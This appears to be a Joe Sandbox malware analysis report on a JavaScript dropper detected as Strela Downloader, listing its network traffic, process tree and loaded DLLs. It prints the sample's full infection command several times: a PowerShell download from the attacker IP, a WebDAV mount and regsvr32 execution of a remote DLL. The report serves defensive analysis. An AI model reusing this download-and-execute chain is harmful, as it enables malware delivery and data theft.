Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.4:65363 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:52276 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1675356977.00000280BB93B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1736283207.00000283D316E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1735971960.00000283D314C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1734781000.00000283D314C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1733538590.00000283D316C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1735810925.00000283D3118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1735971960.00000283D314C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1734781000.00000283D314C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9e
Source: net.exe, 00000006.00000002.1735810925.00000283D3118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.2954725188.0000019A1BABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CE98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CE98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CE98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CECD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CF42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CF42000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1733636263.0000019A1CF42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7292, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2624560062728623951.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yvoy2atb.lgx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,10507283532286876311,14528673037070640338,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,10507283532286876311,14528673037070640338,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
